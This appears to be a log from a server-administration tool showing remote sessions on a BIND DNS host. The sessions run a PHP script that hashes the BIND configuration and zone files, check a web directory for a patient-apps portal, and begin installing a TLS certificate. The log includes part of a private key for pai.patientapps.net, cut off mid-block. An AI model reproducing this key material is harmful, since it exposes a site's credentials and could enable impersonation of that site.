MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2026-05-15 13:04:00: Establishing a connection
2026-05-15 13:04:14: Establishing a connection
2026-05-15 13:04:14: 

PUT: /tmp/pkp558008

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-05-15 13:04:15: 

runuser -l bind -s /bin/bash -c '/tmp/pkp558008; rm /tmp/pkp558008'

2026-05-15 13:04:15: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= e29c21b46b5393be06f75c34de3e6440
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-05-15 13:04:20: Establishing a connection
2026-05-15 13:04:20: Establishing a connection
2026-05-15 13:04:20: 

PUT: /tmp/pkp295238

#!/bin/bash
if [ -d "/var/www/patientapps_portal/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-05-15 13:04:21: 

chmod 755 /tmp/pkp295238; /tmp/pkp295238; rm /tmp/pkp295238

2026-05-15 13:04:21: 


0


2026-05-15 13:04:59: Establishing a connection
2026-05-15 13:04:59: 

PUT: /tmp/pkp130411

#!/bin/bash
temp_file=$(mktemp)
TARGET=3f85a328a3b4d0829fd0b0b311b3007b.crt

cat > $temp_file <<'endmsg'
51:c9:0a:27:8b:d7:7f:fb:31:5a:cb:b7:41:d9:07:5f

-----BEGIN CERTIFICATE-----
MIIFADCCA+igAwIBAgISBak7dTBZoE/cdwh7d2UAgH93MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwNTE1MTIwNjI4WhcNMjYwODEzMTIwNjI3WjAeMRwwGgYDVQQD
ExNwYWkucGF0aWVudGFwcHMubmV0MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEAtg6nbS14xW3egAiBnn+HL9CfOlMunlM8mQh/pg5oQq4WQTCUgg5l3LZW
RKhvh0BfnZYnpFYI+UynOJWatJsWXN4oazNUQh2bHoeec4dxxb5RFgN4CEpNwhCx
gwb3E2Ec/kOQbvmzUDSKSzWLDOgYeNXZed4UjCGmqwWFEY0FKKQjN1QdFUvICh57
WzTXHV3qNqk4zb7U3v8cEQ040C1IaG7BL0QmWZM/VWrxWwnl3auk5e4/XJ+XLHOv
TykdzS39VaUQoGVhII1VDVd8atdmOvuUBsY6xlnEfFf7pG7e8hFBPxdEUQJdmYKY
lNrRiKl1gy2VKuF+BizQGPyIKZ3TVwIDAQABo4ICITCCAh0wDgYDVR0PAQH/BAQD
AgWgMBMGA1UdJQQMMAoGCCsGAQUFBwMBMAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYE
FLOvFFpabhl24zHbLFyfobW6Kh28MB8GA1UdIwQYMBaAFOernw8sM6BT015PeMiy
hA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3IxMy5p
LmxlbmNyLm9yZy8wHgYDVR0RBBcwFYITcGFpLnBhdGllbnRhcHBzLm5ldDATBgNV
HSAEDDAKMAgGBmeBDAECATAvBgNVHR8EKDAmMCSgIqAghh5odHRwOi8vcjEzLmMu
bGVuY3Iub3JnLzEyMC5jcmwwggELBgorBgEEAdZ5AgQCBIH8BIH5APcAdQDXbX0Q
0af1d8LH6V/XAL/5gskzWmXh0LMBcxfAyMVpdwAAAZ4rvXjCAAAEAwBGMEQCIHHZ
Ks8DzQQXEwgqCxcSdAroOXU/Wa55HafRpSBVjKRXAiBLpN2/Ot3CEPDNZ4ZaYPdd
pnDWqDMzzCGBgh7eZQ5WpgB+ABqLnWsP/r+BtHk5xtIxCobW0QLU8EbiGCyd419e
JiXvAAABniu9e0wACAAABQATCQsVBAMARzBFAiBPyMQZr8ezAO/3CavdYIN1NU6c
Ed9vQxbvFDJRp9zLBQIhAPeNQ1bzrMohg2hXo8u69ngkXZ7lO70hG4yfnHoPtSE+
MA0GCSqGSIb3DQEBCwUAA4IBAQA0wvHqy4xVz/V2hPlF1cqaNBHdivaPSfCo4N+R
uavVzOvxN7ct9uRHYrKwlRM4NcQw6RCj+Ih4Cv8QiYLjVtvAZwdAHHqZ4I6yEIjx
qN2PaXHp+MQSfhRE/Ci0RbE6PmHh074AgnAo9XpW5ANLzrA+9kx4GMUuo0Eebmey
rHZv0e/ztY6RlUO9wvfTNCYYrq8P7T1Qw0vszHNm18eCc9Xz1l7MxGv5jAbjAwaf
37SNKj5vDBgw3AhzdUaJbhJgAV4ckYBXf0KvhZaw/gbA1P/v2bZiEuRBgZSzkrsm
bKnoZBS1WsIdMq4rYMEGLPKrvKEJD9rLpYQnErhjZZdgQDj+
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQC2DqdtLXjFbd6A
CIGef4cv0J86Uy6eUzyZCH+mDmhCrhZBMJSCDmXctlZEqG+HQF+dliekVgj5TKc4
lZq0mxZc3ihrM1RCHZseh55zh3HFvlEWA3gISk3CELGDBvcTYRz+Q5Bu+bNQNIpL
NYsM6Bh41dl53hSMIaarBYURjQUopCM3VB0VS8gKHntbNNcdXeo2qTjNvtTe/xwR
DTjQLUhobsEvRCZZkz9VavFbCeXdq6Tl7j9cn5csc69PKR3NLf1VpRCgZWEgjVUN
V3xq12Y6+5QGxjrGWcR8V/ukbt7yEUE/F0RRAl2ZgpiU2tGIqXWDLZUq4X4GLNAY
/IgpndNXAgMBAAECggEAOIwsrNim3ovVxGbf+98Yml1uV6tmm363H8FoBKgM8kko
WG9CcXMPaJKqEQFQQu5XxJbTEVQ3zVdlyUmOl/Jj68yFOWbkEPUpLT5qlO/JAuau
QOwq6EhMBq8ws8YCEF7lpoRN5Gpiq9Ll8Z5b5lJg54dk2VmFgFEjd5NrVZw7sfdj
a9IimHUdIPXqEzyGZluKvp6bkg5DZuQA5maV8OxJPcE3PDl8RhDgV4wGtxxCcHYA
B9QRIzLdVfHYtRgLNRmWSjJFgNVMMj0uUveexKWvaYvrYt/QfMzA0AkkoX3zCV6B
MiWNCNTSOnAj6wiwRKjJv4hvrrVdTEAz7iRJ+idGoQKBgQDY/GlIZ0aTGjduVoWZ
